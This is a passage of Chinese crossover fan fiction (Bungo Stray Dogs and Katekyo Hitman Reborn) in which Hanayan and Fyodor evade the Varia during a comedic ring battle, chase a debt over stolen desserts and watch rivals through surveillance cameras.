因此阴差阳错之下,除了偶尔会有人在百忙之中发现有个看戏的而随手丢出一刀、或是开出一枪以外,根本没有人会专门攻击费奥多尔,更别提花言还时不时分心保护一下费奥多尔,用亚空间挡住了外界所有的攻击。 太宰治看清局势后陷入了难以言喻的沉默,总觉得这场指环争夺战跟他想象中的不符。 这样想的也不止太宰治,花言也在思考这个问题。 他感觉自从太宰治他们拿出墨镜之后,整个发展都往谐星的路上一去不复返了。 XANXUS以一敌二也丝毫没有落于下风,他愉快地大笑着。 “真是不错的方式,能一次性解决所有垃圾。” 枪支保险栓扣动的声音响起,花言反应迅速地用亚空间包裹住费奥多尔带着后者一同跃上半空。 一道足以划破黑夜的炽热火焰横跨操场,瞬间蒸发了地面,留下一个巨大的坑洞。 花言脚下踩着金色小方块,将费奥多尔放在了一个远离战场相对安全的位置,放下时示意对方多注意一点自己放在操场门口的纸袋。 “记得帮我守一下,不要让人趁乱偷吃了。” 费奥多尔:…… 他认为应该没有人会在这种时候干这种事…… 费奥多尔的这个想法还没完全落下,只见花言表情忽然凝重,并像是在驱赶什麽小动物一样发出威慑。 “喂!你在干嘛?可恶,我的夜宵!不许动,听见没有?!” 费奥多尔迅速转头,发现一个有着爆炸头、穿着类似于奶牛一样连体衣的五岁小孩正把头埋在花言的纸袋里掏东西。 他记得那好像是…… 沢田纲吉的雷守——蓝波。 在花言因打算留到晚上的甜品被动而完全分心的那一刻,一道光束再次从高空袭来,花言感受到背后滚烫的温度,他不得不回头展开手中层层叠叠的亚空间强行挡住XANXUS的火焰。 巨大的冲击与气流吹起他扎成一束垂落在身后的长发,斗篷在半空中簌簌作响,亚空间的淡金色光芒与火焰一同照亮了他微微抿起唇的侧脸。 费奥多尔为了以防花言再分心,他用最快的速度阻止了蓝波继续掏花言的甜品,后者百忙之中抽空看了一眼,确认偷吃他夜宵的罪魁祸首已被控制,才安心地继续应对XANXUS。 “彩画集”与“污浊了的忧伤之中”不断交替,花言在回击XANXUS的同时,不忘跟在死气状态下沉静许多的沢田纲吉告状。 “你的雷守偷吃了我的甜品。” 以为对方忽然靠过来要干什麽的沢田纲吉:…… “抱歉,回头我会说蓝波的,少了什麽我也会赔给你。” 这样还差不多。 花言勉强原谅了蓝波趁乱成一锅粥偷吃他甜品的事。 XANXUS手中双枪不断蓄力,道道裹挟着子弹的火焰从中迸发,无差别地攻击向半空中的两人与地面上乱成一锅粥的众人。 地面的众人不仅要预防身边不知道从哪冒出来的攻击与流弹,同样也要防御天空上XANXUS坠下来的愤怒之炎。 眼见学校变得愈发千疮百孔,与同为云守果戈里缠斗在一起的云雀恭弥怒气值飙升,手中浮萍拐也逐渐开始无差别攻击周围的众人。 花言从一开始手感火热的热血中二状态脱离,面对仍旧狂风骤雨的攻击不知怎麽有点疲倦了,这可能是因为到该吃夜宵的点了,让他有点心不在焉的。 花言贯彻的攻击方式是你来我往的回击,绝对不多挨一下,被攻击了哪怕没有受伤也要攻击回去,但现在他觉得可以让对方多攻击一下。 沢田纲吉似乎也没有那麽坚定的胜利意志,跟他差别不大,或者说,比他还要好说话一点,如果没有被攻击命中,XANXUS后续又被他吸引走了注意力没有再攻击对方,对方甚至都不会趁人之危去偷袭XANXUS。 花言抽空看了一眼下面的局势,确认下面仍旧乱成一团应该不会有人注意到他后,他稍微撤销了异能,故意挨了XANXUS一枪,顺应对方火焰的冲击力化为流星坠入不远处的森林,借此达到完美开溜的目的。 费奥多尔早在花言望过来时就意识到了对方的目的,他身形悄无声息地消失,提着甜点走向对方坠落的方向。 中岛敦好不容易从密集的拳风中抽出注意力,他放眼望向周围,发现形形色色的人影中早已没了太宰先生的踪影,连天空上闪烁的光芒也只剩下了两道,甚至更恐怖的是——周围熟悉的人里只剩下了港口mafia的中原中也和芥川龙之介。 发生什麽事了? 中岛敦茫然地站在原地,连路斯利亚朝他挥来的拳都没有察觉,还是笹川了平帮他挡下了这一击。 “喂,现在可不是发呆的时候啊!”笹川了平回头提醒着中岛敦。 看得狱寺隼人没忍住发出指责,“笨蛋!你提醒敌人干什麽?!” 没等笹川了平回答,中原中也一拳将贝尔砸到了狱寺隼人身上,他唇边扬起一抹张扬的弧度。 “这就是没人提醒的后果。” “可恶……” 狱寺隼人躺在地上在掀开贝尔的同时不忘给后者塞个炸弹,贝尔在被掀开的同时不忘用丝线勒住狱寺隼人。 见这两人似乎一时半会儿分不出心,中原中也才看向中岛敦。 “喂,你发现什麽了?” 中岛敦有些迟疑不知道该不该说这件事,犹豫片刻,他还是小声告知对方。 “那个……中也先生,这里好像就剩我们三个了。” 中原中也眼眸骤然睁大,“什麽?!” 他下意识环顾周围,又抬头看向天空,发现还真如中岛敦所说,不知道什麽时候,他们这一方的其他几人都开溜了,只留下兢兢业业对付拿着电流伞“瓦利亚”雷守的列维的芥川龙之介,与面前的中岛敦,以及他。 中原中也:…… 第110章 花言不知道昨天晚上是怎麽结束的,他当时借助繁茂树林的遮掩顺利脱身与费奥多尔会合,确认纸袋里的甜品没有少太多就与对方一起离开了。 不过应该不会出什麽问题,毕竟他离开前往下看的时候没看见太宰治的身影,对方应该早就开溜了。 而其他人也不用担心,中原中也很靠谱,他相信对方一定能带着中岛敦和芥川龙之介全身而退。 至于果戈里——以对方的性格和来这里的目的,对方在看见费奥多尔循着自己掉落的轨迹离开,肯定会灵活地跟着撤退。 花言窝在费奥多尔在并盛町准备的临时据点里,无聊地思考着接下来要做些什麽。 东京很有意思,但并盛町没意思,这里有趣的地方和甜点种类都非常有限,连带着费奥多尔在这里准备的据点条件都变得极为有限。 耳畔传来指尖落在键盘上所发出的清脆声响,花言撑着下巴看向那个早上开始就坐在客厅茶几旁边的清瘦身影,目光落在对方飞快在键盘上敲击的指尖,心底闪过一丝疑惑。 如果对方在这个副本开启前忙碌,是因为要将所有计划罗列出来供他选择,以及为了让“书页”剩余内容生效方便后续使用。 那现在对方在忙碌什麽呢?处理“死屋之鼠”的日常工作吗?还是昨晚对方在看见XANXUS和沢田纲吉的火焰后有了什麽新的想法,在研究有关现在这个世界的力量体系? 最初对方想要让这个世界降临的两个目的,已经有一个得出了答案——平行世界能够反向干预这个世界。 而另一个——这个世界究竟是不是“主干”和“根部”的答案还不知道,花言也不知道对方要用什麽方式得到最后一个答案。 不过看对方现在的情况,好像挺忙的。 花言沉思了一秒,有些担忧,“一周够用吗?” 他会遵守切尔贝洛机关那两裁判的规则参与指环争夺战的原因,是为了尽可能地用最轻松便捷的方式,给对方拖延出足够的时间,让对方能够弄清楚所有想要借平行世界降临而弄清楚的事。 毕竟为了让这个平行世界顺利降临,连“书页”的“原件”都用完了,现在当然要想方设法多从中得到一点东西。 如果一周不够的话,他就想办法去平衡一下各方手里的指环,力求达到一个同等的数量,借此逼迫切尔贝洛机关那两裁判延长指环争夺战的时间。 “嗯……?”费奥多尔从屏幕中抽出注意力,慢半拍地反应过来了对方的意思,“足够了。” 倒不如说,在平行世界改变这个世界影响了他们所有人却没有干扰到花言的那一刻,他就已经得到了那两个问题的答案。 现在只是在顺带深入了解一下现有的力量体系,以及……陪对方罢了。 早在遇见“瓦利亚”的袭击时,费奥多尔就注意到花言似乎在发现什麽后对与其他人的战斗变得兴奋又期待,昨晚的混战更是验证了这一点,也让对方这份情绪的来源变得更加清晰。 ——对方不像是喜欢战斗,更像是因某种新奇的事物而产生的新鲜劲没过,而这点新鲜劲也不算特别重要,最起码没有对方的夜宵重要。 一周的时间应该刚好够对方那点新鲜劲消失。 “花言,您要来看看吗?” 费奥多尔看向趴在沙发扶手上似乎是感到无聊了的白发青年,身体往旁边挪了一点,想要跟对方分享屏幕中的内容。 “什麽?” 花言眼眸里浮现出疑惑,顺应对方的邀请走到对方身边坐下。 视线触及屏幕中的画面,他明白对方想让他看什麽了。 只见屏幕中被划分为九宫格,每一个格子里都是不同的监控画面。 对方忙活这麽久,不会是在入侵并盛町大街小巷的监控吧? 花言视线裹挟着求证意味看向身边的费奥多尔。 费奥多尔轻易地读出了对方视线中的含义,解释道:“不算是,入侵监控用不了多少时间,我之前在顺带深入了解现有的力量体系。” 花言若有所思地应了一声,“其实力量体系这方面,如果你有弄不清楚的问题可以问我。” 以费奥多尔的能力,在现在这个世界不存在会有得不到的答案,这无非只是时间问题,花言也清楚这一点,因此他指的是——在这个平行世界现有时间段还未得知的答案。 费奥多尔低低笑了一声,没有拒绝对方的好意,“嗯,我知道了。” 花言没有再主动开口,屏幕中监控画面出现的变化吸引走了他的全部注意。 原本空无一人的巷子口出现了“瓦利亚”岚守贝尔与雾守玛蒙,在这两人对面是同为岚守的中原中也与雷守芥川龙之介,两方正在无声对峙,气氛凝固。 这种情况应该是昨天晚上贝尔在中原中也那吃了亏,所以今天花重金让玛蒙帮他用“粘写”查找到了中原中也的位置,而身为港口mafia干部的中原中也身边会带着同属港口mafia的芥川龙之介也很正常。 阴差阳错之下造成了一个二对二的公平局面。 只是,玛蒙似乎不这麽想。 计算机里传出玛蒙平淡的抱怨。 “啊……真应该让列维来的。” “反正目前玛蒙你也没有目标,不如先抢到‘雷之指环’,然后让列维出钱买下。” 贝尔笑嘻嘻地提供了一个好点子,成功说动了玛蒙。 可能是由于昨晚发生的事,中原中也今天脾气暴躁无比,连带着耐心也相当差,没有给那两人过多的交流时间,直接出手主动开启了战斗。 显然贝尔也因为昨晚落于下风的事情怀恨在心,说不准一晚上都想着这事没睡着,已经复盘了千万遍,一出手就是相当狠辣的杀招。 雪白的刀刃在丝线的指引下如弹钢琴般优雅,来势汹汹地刺向中原中也,又在半空中被后者手中弹出的子弹击碎。 花言没从中原中也身上看到异能的波动,可见对方弹子弹时根本没用异能,也许这就是副本平衡机制在发力吧。 即使没有异能,对方也能成为人形机关枪,根本不需要枪的帮助。 花言不明觉厉地看向另一边的芥川龙之介,比起力量惊人的中原中也,对方倒是正常了一点。 这可能也有与对方同属雷守的其他两个人都不算太强的原因在,以至于平衡机制没给对方带来过多的增幅。 花言在计算机面前坐了一下午,除了在最初回答过费奥多尔几个关于力量体系的问题,后面的注意力全在屏幕中。 花言看了大大小小近乎三场纷争,他的其他几位守护者都在其中出现了个遍。 先是贝尔、玛蒙与中原中也、芥川龙之介之间的纷争以彼此各绑架了一个人质作为交换——以无事发生落下帷幕。 后是太宰治出门买螃蟹时在拐角遇到了出门买牛排的斯库瓦罗,两人同为雨守,后者一眼认出了这个在昨晚不小心放跑的漏网之鱼,当即挥剑追击,但却因为追到商场人流过多而失去目标,最终太宰治提着螃蟹美美离开。 与之同时发生的还有——因为见太宰治迟迟未归,而胆战心惊出门查找对方的中岛敦,后者在路过一家服装店时遇到了从里面出来的路斯利亚,被追了三条街直到慌不择路跑进并盛中学才摆脱对方。 但新的问题又随之而来,守在并盛中学门口的云雀恭弥见有无关人士踏入校园,当即开始对中岛敦发起攻击,一番纠缠后,中岛敦顶着头上两个新出炉的大包走上了回家的路。 甚至事情到此还没结束,不知道从哪冒出来的果戈里开始询问中岛敦有没有看见费奥多尔和他,得到答案不出意料的是没有。 大失所望的果戈里注意力转移到了中岛敦头顶的大包上,并询问缘由,中岛敦看起来其实不是很想说,但或许是果戈里给对方留下的心理阴影太深了,中岛敦还是告诉了果戈里,听见中岛敦倒霉遭遇的果戈里大笑出声,并揽着对方肩膀声称要带对方回去找云雀恭弥报仇。 中岛敦会信果戈里吗?显然不会,于是中岛敦绞尽脑汁想要摆脱果戈里,同样的,果戈里也不是那麽好打发的,中岛敦不得不提及他和费奥多尔在横滨应对“瓦利亚”那两人的事情,转移了果戈里的注意力,才彻底摆脱对方。 至此,中岛敦终于平安回家了,真是可喜可贺。 看得花言都不由得唏嘘中岛敦的遭遇,明明是出门查找前辈的,结果前辈先一步回家吃上了螃蟹,享受生活美好,独留对方自己在负重前行。 这个时候如果他出现给对方一点关怀的话,到时候就算绑架了对方,对方也意识不到这一点吧…… 花言及时打住了这个阴暗又恐怖的想法,转而开始认真反思他会变得这麽阴湿,是不是因为一下午都蹲在计算机面前阴暗地窥探别人。 花言深深忏悔了一秒,决定回头用健康一点的方式安慰中岛敦,比如说给对方送个甜品。 说起来…… 怎麽没有看见沢田纲吉他们?怎麽只剩“瓦利亚”跟他这边的人打的你来我往的? 花言带着探究的意味将监控屏幕来回切换,终于,在一片欢声笑语的校园中发现了他们的踪影。 哦,原来是还没放学。 “瓦利亚”还怪遵守规则的,知道蹲对方放学再动手。 花言沉吟着看了看蹲守在学校附近的“瓦利亚”几人,又看了看还在校园里一无所知上课的沢田纲吉几人。 想起了后者似乎还欠他甜品的事实。 花言回头看了眼躺在身后沙发上眼帘合起——像是因为近期太过劳累而睡着的费奥多尔,尽量以最小的动静起身。 但对方显然敏锐得有些过分,明明他什麽声音都没发出,对方却还是有苏醒的预兆,宛如鸦羽般的眼睫微颤,瑰丽的紫罗兰色眼眸从中逐渐显露,其中的神色是刚苏醒迷茫。 费奥多尔指尖揉了揉眼睛,看见白发青年正站在自己面前,手里还拿着的斗篷,像是打算外出。 有些不明所以,“花言?您要出门吗?” “嗯,我打算去……” 花言犹豫了一瞬,觉得直接说去问沢田纲吉要赔偿会显得很像他在勒索中学生,于是他委婉地说道。 “我打算去晒晒太阳。” 费奥多尔沉默地看向窗外近乎快落山的太阳,视线移到计算机屏幕中,明白了对方真正的意思。 原来是看了一下午其他人的战斗,昨晚在夜宵时间前被压下的新鲜劲又冒出来了。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 110-120 第111章 赤金色的落阳透出几分黄昏的朦胧,临近冬季的白昼一向短暂。 处于放学时间段的校园嘈杂无比,门口人头攒动,穿着校服的学生与彼此同伴相互挥别。 打扫完卫生的沢田纲吉背着包踏出校园,身侧的狱寺隼人与山本武一如既往地因为一点分歧开始吵架。 “所以说啊,十代目现在可是很危险的,说不准什麽时候就会有敌人冒出来偷袭,你这个棒球笨蛋到底明不明白事情的严重性?这可不是在过家家!” 狱寺隼人怒气冲冲地向走在沢田纲吉另一边的山本武强调事情的严重性,然而后者还是一脸轻松愉快的乐天派模样。 “嘛,无论怎麽说,这里是学校门口,规则上说明了不能卷入无关人士,再怎麽样他们也不会在这里动手吧?”山本武双手背在脑后,笑着安慰同伴,“安啦,安啦。” “安个鬼啊!” 狱寺隼人更火大了,没等他继续说些什麽,余光忽然注意到沢田纲吉望着某个地方停住了脚步。 “十代目?” 狱寺隼人顺着对方视线望去,一道白色身影映入眼帘,对方倚靠在校园门外的树下,肩头披着的斗篷与扎成一束垂落在身后的长发在微风中轻轻扬起,那张被墨镜遮住了眼眸的脸微侧,似乎等候多时。 狱寺隼人瞬间认出了对方的身份,他指间夹着管状炸弹当即挡在了沢田纲吉面前,“十代目,请小心,这家夥一定是冲指环来的!” “诶?但、但是……” 沢田纲吉没从对方身上感受到敌意,不过对方确实是冲自己来的,甚至已经直起身体走过来了! “冷静点,这里是学校,如果波及到其他人是会被判做违规的。” 山本武嘴角仍旧挂着笑容,但周身的气势却逐渐变得淩厉。 这三人的警惕近乎可以说是相当明显,令花言有些感叹。 充满活力的校园,吵吵闹闹的氛围,团结一致的夥伴,这才是真正热血战斗的频道。 他看向两人身后的沢田纲吉,言简意赅地提醒,“你还记得昨晚的事吧?” “昨晚……?”沢田纲吉下意识重复了一遍。 沢田纲吉没能立即想起来,不过这个词汇提醒狱寺隼人了。 后者回想起昨晚对方这几人打着打着都不见踪影,只留他们应对“瓦利亚”的事,不由得怒从心起。 “你是来挑衅的吗?!” 狱寺隼人说着准备冲上去,给对方一点厉害。 但沢田纲吉及时想起,拉住了对方,“不是啦!他应该不是来挑衅的……” 狱寺隼人疑惑地回望,“那是……?” “是来拿赔偿的……” 提起这件事沢田纲吉也有些头痛,他单手捂着头叹了口气,向两人说明了缘由。 “昨天晚上蓝波在混战里偷吃了这位先生放在操场的甜品。” 狱寺隼人:…… 山本武:…… 昨晚确实很混乱,他们确实没空一直盯着蓝波…… 说起来,难怪后面回去时蓝波手里会多出几样甜品,原来是因为对方嫌弃被吃过了,所以干脆索要赔偿,这份给蓝波拿回去吗? “那头蠢牛!”狱寺隼人在短暂的沉默后选择先骂蓝波,“又给人添麻烦!” “好了好了,事已至此,先给这位先生赔偿好了。”山本武周身的气息瞬间放松下来,他看向花言,“有清点具体损失和当时购买的收据吗?” “当然。” 花言从口袋里掏出一卷收据,提着一头在三人面前展开。 顺应重力展开的小票一路从花言举在半空的手中滚到沢田纲吉面前,三人低头看着滚到面前的小票,不约而同地瞳孔地震。 沢田纲吉惊恐出声,“这麽多吗?!” “哦,没有,只是这些是跟那些甜品一起买的,没能分开,所以就一起放出来了。”花言及时安抚了对方,“上面画红圈的才是。” 三人松了口气。 山本武捡起地上的小票看了一眼上面画红圈的地方,“还好,只有五样。” 沢田纲吉闻言更加安心了,他接过山本武手中的小票准备算算多少钱,结果后面跟着的价格让他没忍住叫了一声,脸上满是难以置信的震惊。 “不、不是吧?!为什麽这麽贵?!” 这一声引得山本武认真看向了价格,他摩挲着下巴,“真的诶……这加起来有三万日元了。” “什麽?!” 狱寺隼人夺过小票飞速计算,发现还真如对方所说,他抓着小票朝花言质问道:“喂!你不会在勒索十代目吧?!” 这个问题都不用花言解释,沢田纲吉主动替对方辩解。 “不,他应该不会专门为了这个伪造收据,就是……为什麽会这麽贵啊?!”说到最后沢田纲吉再度崩溃,“明明都是普通的甜品不是吗?” “我是在东京旅游景点买的。”花言回答了对方的问题。 这一声下去直接给三个人按了静音键。 真的假的啊…… 真的会有人专门在东京贵的要死的旅游景点买这些随处可见的甜品吗……? 沢田纲吉没能忍住提醒,“其实……那些地方的东西都很贵,这些在其他地方也有得卖。” “我知道。”花言坦然跟对方说明了自己当时的想法,“我只是看它卖的这麽贵,所以想买来尝尝跟其他地方的有什麽不同。” 沢田纲吉:…… 狱寺隼人:…… 山本武:…… 三人匪夷所思地看着眼前用理所当然的语气说出这种话的青年,想法在此刻高度统一。 ——这绝对是个怪人! 狱寺隼人率先打破静默的氛围,提供了一个馊点子,“把蠢牛用来抵债吧,反正是他吃的。” 花言:…… 想骗他当保姆是吗? 他冷漠拒绝,“我要小孩干什麽?” 还是中学生的沢田纲吉感受到了名为金钱的力量,他硬着头皮跟对方讨论,“这个……能给我一点时间吗?” “当然可以。”花言欣然点头,“只要在指环争夺战结束前给我就好了。” 这跟没给有什麽区别啊?! 沢田纲吉要裂开了,他试图跟对方再讨价还价一下,但后者似乎认为他们已经达成了共识,头也不回地离开了。 花言假装没有听见身后沢田纲吉的挽留,他走向在监控中所看见的——“瓦利亚”埋伏的路口。 然后…… 什麽都没发生。 花言不信邪地来回走了几遍,还是无事发生。 看起来这些人还挺目标明确的。 他大失所望地走出这条路,遗憾离场。 为了弥补遗憾,花言在回据点前买了点感兴趣的甜品,顺带打包了两份晚餐。 在据点里的费奥多尔有些意外对方居然会这麽快回来,“没打成吗?” 花言一边摘下肩上的斗篷与压在鼻梁上的墨镜,一边满是遗憾地叹息,“没有,好像被嫌弃了。” 说完他又后知后觉反应过来,沉默地望着对方。 后者及时改口,“晒完太阳了吗?” 花言:…… …… 由于“瓦利亚”那些人都表现出一副对他没兴趣的样子,XANXUS像是不屑般没有出现,沢田纲吉他们又不会主动去抢夺其他的人指环。 因此花言这些天不是呆在据点里阴暗窥探一下其他人在干什麽,就是出门去买两人的三餐。 指环争夺战至今为止距离规定时间已经过去了一半,大大小小数场纷争最终都无事发生,这可能跟“瓦利亚”太讲武德也有关,对方在多数情况下只会对拿着跟自己属性指环相同的人出手,甚至到后面“瓦利亚”都不怎麽在监控里出现了。 花言觉得也许用不着他故意去平衡各方的指环,按这样的发展,最后指环争夺战更改规则或者延长时间是必然的结果。 花言从点心铺中离开,品尝了一口袋子里的绿豆糕,有些失望,味道不如中华街的好吃。 在他低头翻找其他点心的功夫,一声破空声响骤然于耳边响起。 花言头也不抬地用重力拦下了朝他袭来的小刀。 直到从纸袋里翻找出一块看起来还可以的小面包塞进嘴里才抬头。 结果这一个动作让他对上了站在围墙上的数道视线,甚至可以说除了XANXUS不在,“瓦利亚”其他人都在。 花言沉思了一秒,“我是被埋伏了吗?” 蹲在围墙上的贝尔手指一勾,将小刀依次勾了回去,尖锐地笑了几声,“嘻嘻嘻,怪你运气不好吧。” 花言还是第一次听见自己运气不好这句话从别人口中说出。 不过从这句话听起来,“瓦利亚”这些人似乎不是在专门蹲自己。 “瓦利亚”应该是已经从这麽多天的纷争里意识到了另外两方都没有争夺欲望的事实,所以更改了战术——打算先集中战力抢到一枚指环,确保自己这一方的指环数量在时限到的时候能比其他方手中的要多。 而他运气不好刚好踏入了他们的包围。 “我觉得我运气很好。” 花言煞有介事地挡下对方再度袭来的小刀。 贝尔轻嗤一声,身形从围墙上跃下,手中的小刀不断收回又射出。 只是这根本伤不到花言,无论是对方的小刀还是丝线轨迹,花言都一清二楚,他的身形不断在丝线中穿过,身上附着一层用于增幅体术的红色微光。 见贝尔陷入下风,“瓦利亚”其余人也不再观望,电流伞自列维身后弹射而出,数把雨伞于半空中展开,银色的电流如天际划过的闪电,顷刻间朝中央的身影落下。 花言反应迅速地用重力绷断了周围的丝线,杜绝了被传导上电流的可能,下一秒金色的亚空间扩张,强行将电流挡在空间外。 “被看穿了吗……” 贝尔嘻嘻笑了几声,手中的小刀迅速掷出,想要从方块没能挡住的死角偷袭。 这一招花言也预料到了,亚空间再次扩大,将他笼罩在内,杜绝了所有来自于外界的物理攻击。 他转头刚想看抛出电流伞的列维,视野还未完全稳定,似曾相识的大片靛色扑面而来。 那抹由幻术伪装成触手的靛色在缠绕上白发青年的那一刻回归了最初的卷筒纸,半空中扬起雪白纸屑的瞬间金色的亚空间也随之消失。 玛蒙浮在半空中的身形因惯性而往后飘动,不过,他们想要的答案已经测试出来了。 “他确实不能同时用两种能力。” “干得好!” “那麽,要上了哦~” 斯库瓦罗与路斯利亚一同出手,期间甚至还夹着着贝尔缠绕着丝线的小刀,和时不时刺来的电流伞。 花言手中异能不断切换,在用斥力弹开路斯利亚的拳与腿的同时,不忘扭头用重力绷断斯库瓦罗的剑与贝尔的线,手中切换的金色方块挡下所有不受控于重力的电流,偶尔还要分心辨别里面夹杂着的幻术。 反应与思维都运转到了极致,简直就像是把前几天的运动量一次性补上了。 各种能够想到的异能在花言手中运转自如。 各色异能光晕在寒光间闪烁,其中时不时混杂着“瓦利亚”几人零碎的抱怨。 “臭小鬼!我的剑可是很贵的!” “唔啊,这是什麽?跟打在了弹力球上一样……” “列维,你的伞小心点我的线!这已经是第二次电到我了!” “这里的线这麽多,我怎麽知道哪根在你手里?” “……” 伴随着时间的推移,花言呼吸频率逐渐急促,反观“瓦利亚”几人却仍旧没有受到丝毫影响。 以一敌五的弊端在此刻显露。 似乎是察觉到了花言的体力即将耗尽,“瓦利亚”五人攻击越发密集。 花言觉得他今天战的已经够久了,该下次再战了。 他有点想用“安妮的房间”一个个将他们关进去,但这个需要准确把控,那几人给他留出的反应间隙并不多,如果一个不小心把他们都发送进去,倒霉的只会是他。 “细雪”好像也没用,“瓦利亚”是暗杀部队,在这方面经验丰富,他没办法完全掩藏气息和脚步。 直接用“污浊了的忧伤之中”都强行压倒也不行,里面有幻术师,他触碰不到玛蒙,而后者到时一定会解开封印帮助同伴的。 既然这样,那就只能依靠规则脱身了。 先去人多的地方吧。 花言拳头上附加着重力,一拳将袭来的路斯利亚击飞。 他一边躲开剩余几人配合无间又密不透风的攻击,一边不断往后退逐渐离开这一处人迹罕至之地。 “瓦利亚”几人瞬间意识到了花言的目的,试图阻拦却又因为对方过快的速度而鞭长莫及,而哪怕玛蒙时不时用幻术拖延对方的脚步,也只是让他们不至于跟丢,无法起到让他们能够阻拦的作用。 花言最终还是进入了人流繁密的地段,借助周围熙熙攘攘的行人,顺利摆脱了“瓦利亚”几人。 他站在商场门口缓了一会儿,顺带进去买了点甜食,之前买的因战斗而弄丢了。 有点浪费。 说不准真的是倒霉。 花言不着痕迹地想着。 他提着纸袋走进电梯,明明摁下的是一楼,可电梯却在不断上升。 确定了猜想,他确实倒霉。 [马路牙子,都怪你。] 花言面无表情地朝将他运气变差的罪魁祸首发出指责。 【啊?】 飞来横祸的系统茫然无比,不知道自己又干什麽了,明明这些天它单纯只是在暗中监视,连话都没说。 花言没有再跟系统进一步交流,也没有多余的精力交流。 他看着电梯门反常地到顶楼打开,门拉开的瞬间,熟悉的攻击接踵而来。 “换个人吧。” 花言一手捧着纸袋,一手展开层层叠叠的亚空间,朝“瓦利亚”几人真诚提议。 “我们都从中午打到傍晚了。” “提议无效。” 贝尔笑嘻嘻地勾回粘在花言斗篷衣摆的丝线。 花言认命地继续之前的战斗,这一次是真的打到腻了。 “瓦利亚”几人显然也已经没了耐心,同样的,他们今天也势必要得到对方手中的大空指环。 锁链坠地的声音响起,玛蒙斗篷下隐藏的奶嘴焕发出亮光,头上顶着的青蛙宛如瓷器般碎裂,一条金色的蜥蜴从中扬起头,它不断在半空中延长,直到首尾相接。 在花言用斥力弹开路斯利亚的拳头,并下意识后退一步空出一点距离增加反应时间,转头用亚空间挡住电流伞的那一刻,周围的空间骤然扭曲,大片暗红的色彩从周围浮现,像是天空裂开了一道缝隙,所有的一切都在不断融化。 失重感瞬间席卷,他不受控制地下坠。 花言以为失重感的原因是自己知觉被对方夺走了,但他很快又敏锐察觉到了异常,这股失重感似乎不是幻术带来的。 他视野里倒映出眼前宛如世界末日的画面,这幅画面仅出现了一瞬间就消失,取代而之的是泛着橘色的天空,以及借助重力下坠加持已经到达他眼前的“瓦利亚”四人。 原来如此,玛蒙已经意识到了他识破幻术需要一定的反应时间,对方趁那段反应时间,用幻术掩盖了他已经跨过天台的事实。 是想利用幻术与现实的切换让他分神从而露出破绽吗? 再加上半空中无法回避的地形,得手概率确实很大。 考虑到就算这一次躲开了,“瓦利亚”几人肯定还会穷追不舍,花言决定不讲武德一次。 他抬手想要召唤出平行世界的众人,试图梅开二度卡一下bug。 但在抬手的那一瞬间他发觉到了不对劲,一种隔着屏障般的间隔感阻断了他的召唤。 这种感觉像是…… 已经带着队伍进副本了,所以中途不能换人一样。 ——队伍被锁定了。 花言对此并不算意外。 虽然学院副本里可以,但那本身是他的异能,还不是他所在的那个世界,现在这个世界让平行世界降临都是依靠“书页”做到的,会出现这种情况也很正常。 没有过多的思考余地,花言直接使用了备用方案——人形异能。 人形异能能够按照设置的性格思考,还有一定武力值,应该足够转移那几人的注意了。 星星点点的紫色光芒于指尖汇聚,异能召唤出的身影比花言想象中的要高…… 说起来,爱丽丝有这麽高吗? 他召唤出成年版爱丽丝了? 超出预想的发展,让花言忽然有一种不详的预感。 在异能光晕消散,对方身形具体显现的那一刻,花言不祥预感成真。 而看见那道身影的“瓦利亚”几人眼眸中也闪过一丝凝重。 他们记得……玛蒙说对方的雾守不会幻术。 既然如此,那为什麽对方会出现在这里? 被召唤出的身影垂落在身后的雪白斗篷于半空中扬起,带着黑色手套的手中出现数把水果刀掷出。 “瓦利亚”几人在躲过攻击的同时,将身形固定在了大楼边缘,没有再陪对方一同下坠,他们目光惊疑不定地打量着眼前违反重力浮在半空中的人影,判断这究竟是不是幻术。 因突发状况而产生的迟疑已经让他们错过了最好的机会,与其去追那个已经落地汇入人流又棘手无比的白发青年,还是弄清楚对方雾守究竟会不会幻术比较重要。 站在楼顶的玛蒙见几人停住了动作有些疑惑地往下飘来,这一飘才发现半空中的根本不是花言。 “玛蒙,他究竟……” 斯库瓦罗的话还没说完,眼前的身影骤然飘散。 “不是幻术,应该也是他的能力。”玛蒙知道对方想问什麽。 “……他的能力是他的雾守?”斯库瓦罗觉得自己的脑子好像有点不太够用了,“那家夥到底是什麽东西?” “谁知道呢。”玛蒙心情算不上好,“忙活了一天到头来还是什麽都没得到,真该要出场费的。” “也不算什麽都没得到啦,最起码我们把他的能力都摸索清楚了不是吗?”路斯利亚安慰道:“他可不止上次展现出来的两种能力呢,将这个情报告诉BOSS,BOSS一定会很开心吧?” “但愿如此。” 玛蒙小小的身影上浮,只能接受这个结果,“走吧,该回去了。” 望着“瓦利亚”几人身形逐渐消失的花言松了口气,虽然忘记了那份人形异能的特殊性,导致他不小心失去了点什麽,但往好处想想最起码顺利摆脱“瓦利亚”了。 就是…… 花言抬起头望向远处的监控。 不知道会不会被拍到。 为了以防万一,他排查了一下周围的监控,确认每一个都比较远才放心下来。 第112章 费奥多尔视线落在屏幕中被暂停的画面,因被强行放大导致模糊到有些失真的画质逐渐变得重新清晰,供他看清了白发青年身侧的身影。 那身影很熟悉,紫眸黑发,带着毛茸茸的柔软帽子,穿着在“骸塞”那晚的雪白晚礼服。 无论从神色还是外表,费奥多尔都可以说那是“自己”,但是……他不确定那究竟是平行世界的其他自己,还是某种人形异能。 费奥多尔拖拽鼠标回放白发青年因幻术而不慎跌下高楼的一幕,后者雪白的长发与斗篷一同在半空中被气流吹开,像是一片从无垢天际坠落的雪花。 脸上没有被墨镜遮住的部分,表情一如既往地平静,对方像是在思索什麽,微微抬起手,指尖汇聚出星星点点的光芒,却又在下一刻飘散。 对方对于指尖光芒的飘散似乎并不惊讶,短暂停顿后光芒重新凝聚,这一次是妖艳的紫,一轮轮象征着异能的文本光晕在对方身侧凝聚,熟悉的身影从中浮现。 无论是被幻术蒙蔽五感坠下高楼,还是第一次的失败都没有让白发青年脸上出现任何波动,但在那道身影具象化浮在半空中掷出一把把银质水果刀替对方阻拦追击而来的敌人时,对方脸上出现了没有掩藏好的震惊。 像是对于这一幕同样意外。 并且并不是意外于“自己”异常的能力,而是意外“自己”的出现,仿佛对方也不知道为什麽会出现“自己”的身影,以至于在那道身影仅出现了一瞬,在对方即将落地那一刻被迅速收起。 费奥多尔仔细观察了在“自己”攻击时,被袭击目标的反应,发现后者并没有出现如同被控制住的凝滞感。 